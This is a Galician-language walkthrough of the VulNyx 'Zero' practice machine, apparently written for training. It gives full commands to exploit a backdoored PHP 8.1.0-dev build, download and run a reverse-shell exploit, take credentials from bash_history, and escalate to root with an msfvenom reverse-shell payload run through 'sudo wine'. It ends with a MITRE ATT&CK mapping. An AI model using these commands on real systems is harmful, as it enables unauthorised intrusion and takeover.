Zero
Máquina virtual Zero


A máquina Zero é moi interesante porque...
- PHP 8.1.0-dev con backdoor incorporado
- Escapamos dun contenedor Docker
- Credenciais no bash_history de root
- Escalada mediante Wine executando payload de Windows
- Dobre entorno: contenedor Docker → host real
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Zero -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Zero # 8080
whatweb IP_VulNyx_Zero:8080
curl -I IP_VulNyx_Zero:8080
Fase 2 — Análise
# Porto 8080 → PHP 8.1.0-dev (versión vulnerable con backdoor)
firefox IP_VulNyx_Zero:8080 &
# Busca de exploits para PHP 8.1.0-dev
searchsploit php 8.1.0-dev
# PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
# Descarga do exploit
searchsploit -m 49933.py
Fase 3 — Explotación
# Opción 1: Exploit básico (pseudo-shell)
python 49933.py
# Escribimos: http://IP_VulNyx_Zero:8080
whoami # root (pero en pseudo-shell limitada)
# Opción 2: Exploit con reverse shell completa
# Descargamos exploit alternativo de GitHub
wget https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/refs/heads/main/revshell_php_8.1.0-dev.py
# Preparamos listener no atacante
nc -nlvp 6666
# Executamos exploit con reverse shell
python2.7 revshell_php_8.1.0-dev.py http://IP_VulNyx_Zero:8080 IP_Atacante 6666
# ⇒ Conseguimos reverse shell como root (dentro dun contenedor Docker)
Fase 4 — Post‑explotación
# Mellora da TTY shell
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash
# Verificación do entorno
whoami # root
find / -type f -iname "*.txt" 2>/dev/null # Non atopamos flags
cat /etc/passwd # Non hai usuarios do sistema (uid>1000)
# Detección de contenedor Docker
find / -type f -iname "*docker*" 2>/dev/null
ls -l /.dockerenv # Confirmamos que estamos nun contenedor Docker
# Enumeración de información sensible
cat ~/.bash_history
# Atopamos credenciais do usuario user_sistema no historial
# Acceso SSH ao host real
ssh user_sistema@IP_VulNyx_Zero # Usamos credenciais do historial
# ⇒ Conseguimos acceso ao host real como usuario user_sistema
cat /home/user_sistema/user.txt # ⇒ Flag de usuario conseguida
# Enumeración de permisos sudo
sudo -l
# User user_sistema may run the following commands on zero:
# (root) NOPASSWD: /usr/bin/wine
# Xeración de payload con msfvenom
# No atacante:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_Atacante LPORT=8888 -f exe -o payload.exe
# Codificación en base64 para transferencia
base64 payload.exe | tee payload_b64.txt
# No host como user_sistema:
nano subir
# Copiar contido de payload_b64.txt
# Gardar e saír
cat subir | base64 -d > payload.exe
# Preparamos listener no atacante
nc -nlvp 8888
# Executamos payload con wine e privilexios sudo
sudo /usr/bin/wine payload.exe
# ⇒ Obtemos reverse shell de root mediante Wine
# Verificación (na reverse shell de Wine)
whoami # ZERO\root
cd Z:\root
type root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Zero
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Identificación de PHP 8.1.0-dev con backdoor | Recoñecemento de versión vulnerable | T1592 — Gather Victim Host Information T1595.002 — Active Scanning: Vulnerability Scanning |
CWE-506 — Embedded Malicious Code |
| 3. Explotación | Explotación de backdoor en PHP 8.1.0-dev | Remote Code Execution / backdoor | T1190 — Exploit Public-Facing Application T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-94 — Improper Control of Generation of Code |
| 4. Post-explotación | Detección de contorno Docker e enumeración | Container awareness / discovery | T1610 — Deploy Container T1083 — File and Directory Discovery |
CWE-200 — Information Exposure |
| Extracción de credenciais do historial de comandos | Credential Access | T1552.003 — Unsecured Credentials: Bash History T1078 — Valid Accounts |
CWE-312 — Cleartext Storage of Sensitive Information | |
| Acceso SSH ao host con credenciais válidas | Uso de contas válidas | T1021.004 — Remote Services: SSH T1078 — Valid Accounts |
CWE-798 — Use of Hard-coded Credentials (contextual) | |
| Xeración e transferencia de payload malicioso | Ingress tool transfer | T1105 — Ingress Tool Transfer T1027 — Obfuscated Files or Information |
CWE-494 — Download of Code Without Integrity Check | |
| Abuso de wine con sudo para escalada de privilexios | Abuso de mecanismos de elevación | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1059 — Command and Scripting Interpreter |
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control |